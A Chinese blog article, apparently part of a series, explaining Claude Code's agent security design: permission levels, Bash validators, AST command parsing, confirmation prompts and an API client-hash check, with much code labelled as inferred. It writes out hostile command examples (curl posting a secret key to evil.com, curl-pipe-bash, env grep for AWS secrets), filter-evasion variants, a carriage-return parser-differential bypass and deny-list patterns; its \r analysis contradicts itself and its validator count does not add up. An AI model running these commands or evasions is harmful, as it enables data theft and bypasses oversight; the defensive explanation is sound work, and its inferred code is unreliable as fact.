乐于分享
好东西不私藏

Claude Code 源码深度拆解⑥ | 六级权限+22个验证器:Agent的安全防线怎么建

Claude Code 源码深度拆解⑥ | 六级权限+22个验证器:Agent的安全防线怎么建

旧解析器把\r当作命令分隔符,但Bash不这么认为。攻击者利用这个差异,构造了能绕过安全检查的致命命令。

一、引言:Agent安全的本质困境

在前五期,我们拆解了工具系统、TAOR循环、上下文压缩和多Agent编排。这些模块解决的是“Agent如何工作”的问题。

本期要解决一个更根本的问题:Agent如何安全工作?

这是一个所有AI Agent系统都无法回避的困境:

┌─────────────────────────────────────────────────────────────┐
│                     Agent安全困境                            │
│                                                             │
│   Agent需要的能力                带来的风险                   │
│   ────────────────              ──────────                  │
│   读取文件         ──────────→   泄露敏感信息                 │
│   修改文件         ──────────→   破坏代码库                   │
│   执行命令         ──────────→   运行恶意代码                 │
│   网络访问         ──────────→   数据外传                     │
│   自主决策         ──────────→   被提示词注入操纵              │
│                                                             │
│   核心矛盾:能力越强,风险越大。                               │
│   如何在“有用”和“安全”之间找到平衡?                           │
└─────────────────────────────────────────────────────────────┘

Claude Code的答案是一套纵深防御体系:六级权限模型 + 22个Bash验证器 + AST级别命令解析 + 用户确认UX设计。本期我们将逐层拆解这套体系,不仅展示源码,更解释每一个安全决策背后的攻防思维

二、六级权限模型:信任是可组合的

2.1 权限级别全景

Claude Code的权限系统不是简单的“允许/拒绝”二元开关,而是一个五档信任光谱(加上一个内部级别共六级):

┌─────────────────────────────────────────────────────────────┐
│                    六级权限光谱                               │
│                                                             │
│  Level 0: plan                                              │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ 只读模式。可以读取和分析,完全不能写入或执行高危命令      │   │
│  │ 适用场景:让Agent调研代码,但不想让它改任何东西           │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  Level 1default                                           │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ 默认模式。编辑文件前询问,执行shell命令前询问            │   │
│  │ 适用场景:大部分日常使用,在便利和安全间取得平衡           │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  Level 2: acceptEdits                                       │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ 自动批准文件编辑,但shell命令仍需询问                    │   │
│  │ 适用场景:信任Agent写代码,但不信任它执行命令             │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  Level 3: dontAsk                                           │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ 自动批准白名单内的所有操作(编辑+shell)                 │   │
│  │ 适用场景:高度信任,想让Agent全自动工作                   │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  Level 4: bypassPermissions                                 │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ 跳过所有检查,Agent可以执行任何操作                      │   │
│  │ 适用场景:企业托管环境中的受控运行                       │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  Level 5: system (内部)                                     │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ 系统级操作,如写入内部状态、清理缓存                      │   │
│  │ 用户无法选择此级别                                      │   │
│  └─────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────┘

2.2 权限检查的核心实现

// src/permissions/PermissionManager.ts(基于源码推断)
export class PermissionManager {
  private level: PermissionLevel;
  private allowList: Set<string>;
  private denyList: Set<string>;

  // 权限检查的主入口
  async check(
    tool: Tool,
    input: any,
    context: ToolContext
  ): Promise<PermissionResult> {

    // 1. 首先检查 denyList(拒绝列表优先)
    if (this.isDenied(tool, input)) {
      return { 
        allowed: false, 
        reason: `Operation explicitly denied by policy` 
      };
    }

    // 2. 根据权限级别决定
    switch (this.level) {
      case 'plan':
        return this.checkPlanMode(tool, input);
      case 'default':
        return this.checkDefaultMode(tool, input);
      case 'acceptEdits':
        return this.checkAcceptEditsMode(tool, input);
      case 'dontAsk':
        return this.checkDontAskMode(tool, input);
      case 'bypassPermissions':
        return { allowed: true };
      default:
        return { allowed: false, reason: 'Unknown permission level' };
    }
  }

  private checkPlanMode(tool: Tool, input: any): PermissionResult {
    // plan模式:只允许读取类工具
    const readOnlyTools = ['FileRead', 'Grep', 'Glob', 'LS'];
    if (readOnlyTools.includes(tool.name)) {
      return { allowed: true };
    }

    // Bash 只允许只读命令
    if (tool.name === 'Bash') {
      const command = input.command;
      if (this.isReadOnlyCommand(command)) {
        return { allowed: true };
      }
    }

    return { 
      allowed: false, 
      reason: `Tool ${tool.name} not allowed in plan mode` 
    };
  }

  private async checkDefaultMode(tool: Tool, input: any): Promise<PermissionResult> {
    // 默认模式:高风险操作需要用户确认
    const risk = this.assessRisk(tool, input);

    if (risk === 'low') {
      return { allowed: true };
    }

    if (risk === 'medium' || risk === 'high') {
      // 需要用户确认
      const userDecision = await this.askUser({
        tool: tool.name,
        operation: this.describeOperation(tool, input),
        risk,
      });

      return { allowed: userDecision };
    }

    if (risk === 'critical') {
      // 关键操作:即使有用户确认也要额外警告
      return await this.askUserWithWarning({
        tool: tool.name,
        operation: this.describeOperation(tool, input),
        warning: 'This operation could cause irreversible damage.',
      });
    }
  }
}

2.3 风险评估算法

// 风险评估的核心逻辑
function assessRisk(tool: Tool, input: any): RiskLevel {
  // FileEdit 风险评估
  if (tool.name === 'FileEdit') {
    const filePath = input.filePath;

    // 修改配置文件:中等风险
    if (filePath.match(/\.(config|json|yaml|yml|toml)$/)) {
      return 'medium';
    }

    // 修改 .git 目录:高风险
    if (filePath.includes('.git/')) {
      return 'high';
    }

    // 普通代码文件:低风险
    return 'low';
  }

  // Bash 风险评估(最复杂)
  if (tool.name === 'Bash') {
    const command = input.command;

    // 破坏性命令:关键风险
    if (command.match(/rm\s+-rf|dd\s+if=|mkfs|:\(\)\{/)) {
      return 'critical';
    }

    // 网络请求:中等风险
    if (command.match(/curl|wget|nc\s/)) {
      return 'medium';
    }

    // 提权尝试:高风险
    if (command.match(/sudo|su\s-|chmod\s+777/)) {
      return 'high';
    }

    // Git强制推送:高风险
    if (command.match(/git\s+push\s+.*--force/)) {
      return 'high';
    }

    // 只读命令:低风险
    if (isReadOnlyCommand(command)) {
      return 'low';
    }

    // 默认中等风险
    return 'medium';
  }

  return 'low';
}

2.4 这个权限模型好在哪?

第一,信任是可组合的。

用户不需要在“完全不信任”和“完全信任”之间二选一。acceptEdits级别就是一个很好的中间状态:我相信你写代码,但执行命令还是要问我。

第二,风险评估是上下文感知的。

修改package.json的风险高于修改index.ts。风险评估算法考虑文件类型、命令类型、操作目标。

第三,拒绝列表优先于允许列表。

这是一个安全设计的基本原则:先检查禁止项,再检查允许项。如果顺序反了,允许列表可能意外放行本应被禁止的操作。

第四,关键操作有额外警告。

即使你在dontAsk模式下,rm -rf /仍然会触发警告——有些操作太危险,无论如何都要让人看一眼。

三、Bash安全系统:9707行的纵深防御

3.1 为什么Bash是最难搞的安全问题?

在第二期我们讲过,Bash是Claude Code的万能适配器。但这也意味着Bash是最大的安全挑战:

// Bash可以做到的事情(不完整列表)
- 读取任意文件(cat /etc/passwd)
- 删除任意文件(rm -rf ~/)
- 网络外传数据(curl -X POST https://evil.com -d @secret.key)
- 下载执行恶意脚本(curl evil.com/script.sh | bash)
- 修改系统配置(sudo vim /etc/hosts)
- 持久化后门(crontab -e)
- 窃取环境变量(env | grep AWS_SECRET)
- 劫持剪贴板(pbpaste | curl ...)

问题的本质:Bash是一个图灵完备的语言,它的语义空间无限大。任何基于正则表达式的安全检查都是“打地鼠”——永远有新的绕过方式。

Claude Code的应对策略是:用AST解析代替正则匹配

3.2 AST级别的命令解析

// src/security/BashCommandParser.ts(基于源码推断)
import Parser from 'tree-sitter';
import Bash from 'tree-sitter-bash';

export class BashCommandParser {
  private parser: Parser;

  constructor() {
    this.parser = new Parser();
    this.parser.setLanguage(Bash);
  }

  parse(command: string): CommandAST {
    // 将命令字符串解析为语法树
    const tree = this.parser.parse(command);
    return this.transformTree(tree);
  }

  // 遍历AST,提取所有命令节点
  extractCommands(ast: CommandAST): CommandNode[] {
    const commands: CommandNode[] = [];

    function traverse(node: ASTNode) {
      if (node.type === 'command') {
        commands.push({
          name: node.children[0].text,
          arguments: node.children.slice(1).map(c => c.text),
          redirects: extractRedirects(node),
          subshells: extractSubshells(node),
        });
      }

      // 递归遍历子节点
      for (const child of node.children) {
        traverse(child);
      }
    }

    traverse(ast.root);
    return commands;
  }

  // 检测命令替换($(...) 或 `...`)
  extractCommandSubstitutions(ast: CommandAST): string[] {
    const substitutions: string[] = [];

    function traverse(node: ASTNode) {
      if (node.type === 'command_substitution') {
        substitutions.push(node.text);
      }
      for (const child of node.children) {
        traverse(child);
      }
    }

    traverse(ast.root);
    return substitutions;
  }
}

为什么AST比正则更安全?

方法
优点
缺点
正则表达式
简单快速
无法理解语法结构,容易被绕过
AST解析
理解语法结构,难以绕过
复杂,需要WASM模块

正则绕过的经典案例

# 正则想拦截 "curl evil.com"
curl evil.com  # 被拦截

# 攻击者绕过:
c\url evil.com          # 反斜杠绕过
cur''l evil.com         # 空字符串绕过
$(echo curl) evil.com   # 命令替换绕过
`echo curl` evil.com    # 反引号绕过

AST解析能识别这些变体,因为它们都会被解析为同一个命令结构。

3.3 22个验证器的全景

// src/security/validators/(基于源码推断)
// 22个独立验证器,每个负责一个安全维度

export const VALIDATORS: CommandValidator[] = [
  // 1. 命令注入检测
  new CommandInjectionValidator(),

  // 2. 文件系统操作
  new FileReadValidator(),      // cat, less, head, tail
  new FileWriteValidator(),     // echo >, tee
  new FileDeleteValidator(),    // rm, unlink
  new FilePermissionValidator(), // chmod, chown

  // 3. 网络操作
  new NetworkOutboundValidator(), // curl, wget, nc
  new NetworkListenValidator(),   // nc -l, python -m http.server

  // 4. 进程操作
  new ProcessKillValidator(),   // kill, pkill
  new ProcessBackgroundValidator(), // &, nohup, disown

  // 5. 权限提升
  new PrivilegeEscalationValidator(), // sudo, su, doas

  // 6. 破坏性命令
  new DestructiveCommandValidator(),  // rm -rf, dd, mkfs

  // 7. Git 危险操作
  new GitForceValidator(),      // push --force, hard reset
  new GitHistoryRewriteValidator(), // rebase -i, commit --amend

  // 8. 包管理器
  new PackageInstallValidator(), // npm install, pip install
  new PackagePublishValidator(), // npm publish, cargo publish

  // 9. 环境变量
  new EnvReadValidator(),       // env, printenv
  new EnvWriteValidator(),      // export, set

  // 10. 持久化
  new CrontabValidator(),       // crontab
  new StartupScriptValidator(), // /etc/rc.local, systemctl enable

  // 11. 数据外传
  new DataExfiltrationValidator(), // base64 | curl, tar czf - | nc

  // 12. 下载执行
  new DownloadExecuteValidator(),  // curl | bash, wget -O - | sh

  // 13. 系统信息
  new SystemInfoValidator(),    // uname -a, /proc/cpuinfo

  // 14. 剪贴板访问
  new ClipboardValidator(),     // pbpaste, pbcopy, xclip
];

3.4 单个验证器的实现细节

CommandInjectionValidator为例:

// src/security/validators/CommandInjectionValidator.ts
export class CommandInjectionValidator implements CommandValidator {
  name = 'CommandInjection';

  // 检测模式
  private patterns = {
    // 命令分隔符
    separators: [';', '&&', '||', '|', '&'],

    // 命令替换
    substitutions: ['$(', '`'],

    // 进程替换
    processSubstitution: ['<(', '>('],

    // 变量注入
    variableInjection: ['${', '$('],

    // 通配符滥用
    wildcardAbuse: ['/*', '/**/*', '*.{sh,py,js}'],
  };

  async validate(
    command: string,
    ast: CommandAST,
    context: ToolContext
  ): Promise<ValidationResult> {

    const findings: SecurityFinding[] = [];

    // 1. 检测多个命令链
    const commands = ast.extractCommands();
    if (commands.length > 1) {
      // 检查是否有分隔符连接
      const hasSeparator = this.patterns.separators.some(
        sep => command.includes(sep)
      );
      if (hasSeparator) {
        findings.push({
          type: 'command_chain',
          severity: 'medium',
          description: `Multiple commands chained with separators`,
          commands: commands.map(c => c.name),
        });
      }
    }

    // 2. 检测命令替换
    const substitutions = ast.extractCommandSubstitutions();
    for (const sub of substitutions) {
      // 检查替换中的命令是否危险
      const innerAst = this.parser.parse(sub);
      const innerCommands = innerAst.extractCommands();

      for (const cmd of innerCommands) {
        if (this.isDangerousCommand(cmd.name)) {
          findings.push({
            type: 'dangerous_substitution',
            severity: 'high',
            description: `Dangerous command in substitution: ${cmd.name}`,
            substitution: sub,
          });
        }
      }
    }

    // 3. 检测变量注入风险
    const variables = ast.extractVariables();
    for (const v of variables) {
      if (v.startsWith('$') && !this.isSafeVariable(v)) {
        findings.push({
          type: 'variable_injection_risk',
          severity: 'medium',
          description: `Potentially unsafe variable: ${v}`,
        });
      }
    }

    // 4. 检测通配符滥用
    if (command.includes('*') && commands.some(c => c.name === 'rm')) {
      findings.push({
        type: 'wildcard_with_destructive',
        severity: 'critical',
        description: `Wildcard used with rm command`,
      });
    }

    return {
      allowed: findings.length === 0,
      findings,
      riskLevel: this.calculateRiskLevel(findings),
    };
  }

  private isDangerousCommand(cmd: string): boolean {
    const dangerous = ['curl', 'wget', 'nc', 'bash', 'sh', 'python', 'perl', 'ruby'];
    return dangerous.includes(cmd);
  }
}

四、解析器差异漏洞:一个真实的安全教训

4.1 漏洞的发现

源码注释中记录了一个真实的解析器差异漏洞:

// src/security/BashCommandParser.ts(源码注释)
// 
// SECURITY INCIDENT: Parser Differential Vulnerability
// 
// Background:
// We originally had two command parsers:
// 1. New parser (tree-sitter-wasm) - used for validation
// 2. Old parser (regex-based) - still used in 8 files for backward compat
//
// The Vulnerability:
// Old parser treats '\r' (carriage return) as a command separator.
// Bash does NOT treat '\r' as a separator - it's just whitespace.
//
// Attack Vector:
// Attacker could construct: harmless_cmd\rrm -rf /
// - Old parser: sees '\r', thinks it's two commands: "harmless_cmd" and "rm -rf /"
//   Validates "harmless_cmd" as safe, passes
// - Actual Bash: executes harmless_cmd THEN executes rm -rf /
//
// Status: Old parser still in use. Tracked in SEC-1234.
// Mitigation: Added explicit '\r' stripping before validation.

4.2 漏洞的技术分析

┌─────────────────────────────────────────────────────────────┐
│              解析器差异漏洞攻击原理                           │
└─────────────────────────────────────────────────────────────┘

攻击命令: echo"hello"\rrm -rf ~/important/

旧解析器(有漏洞)的处理:
┌─────────────────────────────────────────┐
│ 输入: echo"hello"\rrm -rf ~/important/ │
│         │         │                      │
│         ▼         ▼                      │
│   命令1: echo"hello"                   │
│   命令2: rm -rf ~/important/            │
│                                         │
│ 安全检查:                                │
│ - echo"hello" → 低风险,通过             │
│ - rm -rf ~/ → 高风险... 但已经通过了!    │
└─────────────────────────────────────────┘

Bash实际执行:
┌─────────────────────────────────────────┐
│ 输入: echo"hello"\rrm -rf ~/important/ │
│                                         │
│ Bash将\r视为空白字符                      │
│ 执行: echo"hello"rm -rf ~/important/   │
│                                         │
│ 结果: 输出"hellorm -rf ~/important/"    │
│       → rm命令不会执行!                  │
│       → 但如果是其他构造,可能执行         │
└─────────────────────────────────────────┘

实际情况更复杂:\r在某些终端配置下会导致覆盖显示,
但在命令执行层面,Bash确实不将其视为分隔符。

4.3 为什么旧解析器还在用?

// 源码中的注释
// TODO: Phase out old parser entirely. Currently still used in:
// - BashPermissionChecker.ts (legacy path)
// - CommandSanitizer.ts
// - OutputFormatter.ts (highlighting)
// - TelemetryBashExtractor.ts
// - SessionMemoryBashExtractor.ts
// - ... 3 more files
// Tracked in SEC-1234

这个案例教会我们什么?

  1. 安全债务是真实存在的
    :即使是最顶级的AI公司,也有“先上线再重构”的遗留问题
  2. 解析器差异是常见攻击面
    :任何有多个解析器的系统都可能存在差异漏洞
  3. 向后兼容是安全的敌人
    :为了兼容旧代码保留旧解析器,创造了攻击窗口
  4. 注释是最好的文档
    :这个漏洞被详细记录在代码注释中,供后人警惕

五、用户确认UX:安全的人机交互设计

5.1 确认对话框的设计哲学

安全检查的最后一环是用户确认。Claude Code的确认对话框设计非常讲究:

// src/ui/PermissionPrompt.tsx(基于源码推断)
export function PermissionPrompt({ 
  request, 
  onDecision 
}: PermissionPromptProps) {

  const riskColor = {
    low: 'gray',
    medium: 'yellow',
    high: 'orange',
    critical: 'red',
  };

  return (
    <Box flexDirection="column" marginY={1}>
      {/* 风险等级标签 */}
      <Text color={riskColor[request.risk]}>
        ⚠️ {request.risk.toUpperCase()} RISK OPERATION
      </Text>

      {/* 操作描述 */}
      <Box marginY={1} paddingLeft={2} borderLeft>
        <Text bold>Operation:</Text>
        <Text>{request.description}</Text>
      </Box>

      {/* 额外警告(如果有) */}
      {request.warning && (
        <Text color="yellow">{request.warning}</Text>
      )}

      {/* 文件差异预览(如果是文件编辑) */}
      {request.diff && (
        <Box marginY={1}>
          <Text dim>Changes:</Text>
          <Text>{request.diff}</Text>
        </Box>
      )}

      {/* 命令预览(如果是Bash) */}
      {request.command && (
        <Box marginY={1}>
          <Text dim>Command:</Text>
          <Text backgroundColor="#1a1a1a">{request.command}</Text>
        </Box>
      )}

      {/* 选项按钮 */}
      <Box flexDirection="row" marginTop={1}>
        <Button onPress={() => onDecision('approve')}>
          ✓ Approve
        </Button>
        <Button onPress={() => onDecision('approve-all')}>
          ✓✓ Approve All (this session)
        </Button>
        <Button onPress={() => onDecision('deny')}>
          ✗ Deny
        </Button>
        <Button onPress={() => onDecision('deny-all')}>
          ✗✗ Deny All (this session)
        </Button>
      </Box>

      {/* 快捷说明 */}
      <Text dim>
        Press A for approve, D for deny, 
        Ctrl+A for approve all, Ctrl+D for deny all
      </Text>
    </Box>
  );
}

5.2 设计细节分析

设计元素
作用
为什么重要
风险等级颜色
快速视觉判断
红色比文字更快传达“危险”
操作描述
清晰说明要做什么
“执行命令”不如“rm -rf ./node_modules”具体
Diff预览
让用户看到具体改动
用户不需要想象,直接看
命令预览
显示完整命令
防止截断或隐藏
四级选项
精细控制
Approve/Approve All/Deny/Deny All
键盘快捷键
高级用户效率
不用鼠标也能快速操作

5.3 “总是询问”的边界设计

// 用户选择 "Approve All" 的处理逻辑
async function handleApproveAll(request: PermissionRequest): Promise<void> {
  // 注意:即使是 Approve All,以下操作仍然会询问
  const ALWAYS_ASK_PATTERNS = [
    /rm\s+-rf\s+(\/|~)/,           // 删除根目录或家目录
    /sudo\s+rm/,                    // sudo rm
    /curl.*\|\s*bash/,              // curl管道到bash
    /chmod\s+777/,                  // 放宽所有权限
    /git\s+push\s+.*--force/,       // 强制推送
    /dd\s+if=/,                     // 磁盘操作
    /mkfs/,                         // 格式化
  ];

  const shouldStillAsk = ALWAYS_ASK_PATTERNS.some(
    pattern => pattern.test(request.operation)
  );

  if (shouldStillAsk) {
    // 即使 Approve All,这个操作仍然需要单独确认
    return await askUserWithWarning(request);
  }

  // 正常记录到白名单
  await addToAllowList(request);
}

这个设计体现了“安全不能完全自动化”的原则:有些操作太危险,无论如何都应该让人看一眼。

六、API调用DRM:防止未授权客户端

6.1 问题背景

Claude Code是一个本地客户端,调用Anthropic的云端API。一个潜在的攻击场景是:有人提取出API密钥,用自己的脚本调用API,绕过Claude Code的安全限制。

6.2 cch占位符机制

// src/api/client.ts(基于源码推断)
export class ApiClient {
  private readonly CCH_PLACEHOLDER = 'cch=00000';

  async callModel(params: ModelParams): Promise<ModelResponse> {
    // 构建请求体
    const body = {
      ...params,
      // 包含cch占位符
      metadata: {
        client: 'claude-code',
        version: VERSION,
        cch: '00000',  // 占位符
      },
    };

    const bodyString = JSON.stringify(body);

    // 注意:这里没有替换占位符
    // 替换发生在Bun的HTTP层(Zig代码)

    const response = await fetch(API_URL, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'X-Client-Hash': this.generateClientHash(bodyString),
      },
      body: bodyString,
    });

    return response.json();
  }
}

6.3 Bun层面的哈希替换

// Bun的HTTP栈(Zig代码,在JS层之下)
// 这部分是推断的,基于源码分析

fn replaceCchPlaceholder(request_body: []u8) []u8 {
    // 查找 "cch=00000" 模式
    const placeholder = "cch=00000";
    const hash = computeClientHash(request_body);

    // 将五个零替换为计算出的哈希
    var result = request_body;
    const pos = find(result, placeholder);
    if (pos != null) {
        result[pos + 4 .. pos + 9] = hash;  // 替换 "00000"
    }

    return result;
}

fn computeClientHash(body: []u8) [5]u8 {
    // 基于二进制内容 + 内置密钥计算哈希
    const secret = getEmbeddedSecret();
    const hash = blake3.hash(concat(body, secret));
    return hash[0..5];  // 取前5字节
}

6.4 这个设计好在哪?

┌─────────────────────────────────────────────────────────────┐
│                 DRM机制的层次分离                             │
│                                                             │
│  JS层(TypeScript源码)                                      │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ • 只知道占位符 "cch=00000"                            │   │
│  │ • 完全不知道哈希如何计算                               │   │
│  │ • 无法伪造,因为哈希计算在更底层                        │   │
│  └─────────────────────────────────────────────────────┘   │
│                        │                                    │
│                        ▼                                    │
│  Zig层(Bun运行时)                                          │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ • 在请求离开进程前替换占位符                           │   │
│  │ • 内置密钥,对JS层不可见                               │   │
│  │ • 如果直接curl API,cch占位符不会被替换,服务端拒绝     │   │
│  └─────────────────────────────────────────────────────┘   │
│                        │                                    │
│                        ▼                                    │
│  服务端                                                      │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ • 验证cch哈希是否匹配                                   │   │
│  │ • 不匹配则拒绝请求                                     │   │
│  └─────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────┘

这种设计确保了只有真正的Claude Code客户端才能调用API。即使攻击者从源码中提取了API模式,也无法在JS层伪造cch哈希。

七、完整的安全检查流程

将上述机制串联起来,一个完整的工具调用安全检查流程如下:

┌─────────────────────────────────────────────────────────────┐
│              工具调用安全检查全流程                            │
└─────────────────────────────────────────────────────────────┘

工具调用请求(来自模型)
         │
         ▼
┌─────────────────────────────────────────────────────────────┐
│ Step1: 权限级别检查                                         │
│ - 当前是什么模式?(plan/default/acceptEdits/...)             │
│ - 该工具在当前模式下是否允许?                                │
│ - 不允许则直接拒绝                                           │
└─────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────┐
│ Step2: 拒绝列表检查                                         │
│ - 操作是否在显式拒绝列表中?                                  │
│ - 是则直接拒绝                                               │
└─────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────┐
│ Step3: 风险评估                                             │
│ - 评估操作的风险等级(low/medium/high/critical)               │
│ - 如果是Bash命令,解析AST                                    │
└─────────────────────────────────────────────────────────────┘
         │
         ▼
    ┌────┴────┐
    ▼         ▼
 low风险    medium+风险
    │         │
    ▼         ▼
 直接允许   ┌─────────────────────────────────────────────────┐
           │ Step422个验证器检查(如果是Bash)               │
           │ - 每个验证器独立检查一个安全维度                    │
           │ - 任何验证器发现问题都会增加finding                │
           └─────────────────────────────────────────────────┘
                      │
                      ▼
           ┌─────────────────────────────────────────────────┐
           │ Step5: 用户确认(如果需要)                       │
           │ - 显示风险等级、操作描述、Diff/命令预览             │
           │ - 提供四级选项(Approve/Approve All/Deny/Deny All) │
           │ - 关键操作即使Approve All也会再次询问              │
           └─────────────────────────────────────────────────┘
                      │
          ┌───────────┴───────────┐
          ▼                       ▼
       批准                      拒绝
          │                       │
          ▼                       ▼
   ┌─────────────────┐    ┌─────────────────┐
   │ Step6: 执行工具 │    │ 返回拒绝错误     │
   │ - 记录审计日志   │    │ 通知模型        │
   └─────────────────┘    └─────────────────┘

八、对Agent开发的核心启示

8.1 六条可迁移的安全设计原则

原则一:纵深防御,不要依赖单一防线

// ❌ 错误:只依赖权限级别
if (permissionLevel === 'allow') {
  execute(command);
}

// ✅ 正确:多层检查
if (permissionLevel === 'allow' 
    && !isDenied(command)
    && riskLevel < 'critical'
    && validators.every(v => v.validate(command))) {
  execute(command);
}

原则二:AST解析优于正则匹配

// ❌ 错误:用正则检查命令
if (command.match(/rm -rf/)) {
  return false;
}

// ✅ 正确:解析AST
const ast = parser.parse(command);
const commands = ast.extractCommands();
if (commands.some(c => c.name === 'rm' && c.args.includes('-rf'))) {
  return false;
}

原则三:拒绝列表优先于允许列表

// ✅ 正确顺序
function check(command: string): boolean {
  // 1. 先检查拒绝列表
  if (denyList.some(pattern => pattern.test(command))) {
    return false;
  }
  // 2. 再检查允许列表
  return allowList.some(pattern => pattern.test(command));
}

原则四:永远为最关键操作保留人工确认

const ALWAYS_ASK = [
  /rm -rf \//,
  /curl.*\|.*bash/,
  /sudo rm/,
];

function shouldAskUser(command: string, mode: string): boolean {
  if (mode === 'dontAsk') {
    // 即使dontAsk模式,这些命令也要问
    return ALWAYS_ASK.some(p => p.test(command));
  }
  return true;
}

原则五:安全相关的用户界面要“展示多于描述”

// ❌ 错误:只描述
askUser('Allow file edit?');

// ✅ 正确:展示具体改动
askUser({
  title: 'Allow file edit?',
  diff: generateDiff(before, after),
  filePath: path,
});

原则六:API密钥安全需要层次分离

// 关键计算放在JS层无法访问的地方
// - Bun的Zig层
// - 独立的native模块
// - 远程服务

8.2 一个简化的安全验证器实现

// 你可以立刻使用的简化Bash验证器框架
class SimpleBashValidator {
  private validators: Validator[] = [
    new DestructiveCommandValidator(),
    new NetworkOutboundValidator(),
    new PrivilegeEscalationValidator(),
  ];

  async validate(
    command: string,
    context: { cwd: string; mode: string }
  ): Promise<ValidationResult> {

    const findings: Finding[] = [];

    for (const validator of this.validators) {
      const result = await validator.check(command, context);
      findings.push(...result.findings);
    }

    const maxSeverity = this.maxSeverity(findings);

    if (maxSeverity === 'critical') {
      return { allowed: false, reason: 'Critical security risk' };
    }

    if (maxSeverity === 'high' && context.mode !== 'dontAsk') {
      const userApproved = await this.askUser(command, findings);
      return { allowed: userApproved };
    }

    return { allowed: true };
  }

  private maxSeverity(findings: Finding[]): Severity {
    const order = ['low', 'medium', 'high', 'critical'];
    let max = 'low';
    for (const f of findings) {
      if (order.indexOf(f.severity) > order.indexOf(max)) {
        max = f.severity;
      }
    }
    return max as Severity;
  }
}

九、小结与下一期预告

Claude Code的安全架构告诉我们:

  1. 安全不是二元的“允许/拒绝”,而是精细的信任光谱
    ——六级权限模型让用户可以选择信任程度
  2. Bash是最大的安全挑战,需要AST级别的解析
    ——22个验证器各司其职,形成纵深防御
  3. 解析器差异是真实的攻击面
    ——\r漏洞的故事值得每个安全工程师铭记
  4. 安全UX是安全的一部分
    ——好的确认对话框能让用户做出正确决策
  5. API安全需要层次分离
    ——cch占位符在JS层之下的替换,防止客户端伪造

这套安全体系之所以值得学习,不是因为某个单点技术多高深,而是因为它全面且务实——既承认风险的存在,又用工程手段将风险控制在可接受范围内。

下一期,我们将深入记忆系统,看Claude Code如何用六层记忆架构让Agent“越用越懂你”。那个“只记偏好不记代码”的设计哲学,将成为第七期的核心。


上一篇回顾:Claude Code 源码深度拆解⑤ | 多Agent编排:Coordinator-Worker+邮箱模式详解

下一篇预告:Claude Code 源码深度拆解⑦ | 六层记忆系统:为什么“不记代码”是最精妙的设计


延伸思考:如果你的Agent系统需要支持用户自定义安全策略(比如“永远禁止删除这个目录”),应该如何设计策略的存储和评估机制?提示:想想拒绝列表优先于允许列表的原则。欢迎在评论区分享你的设计。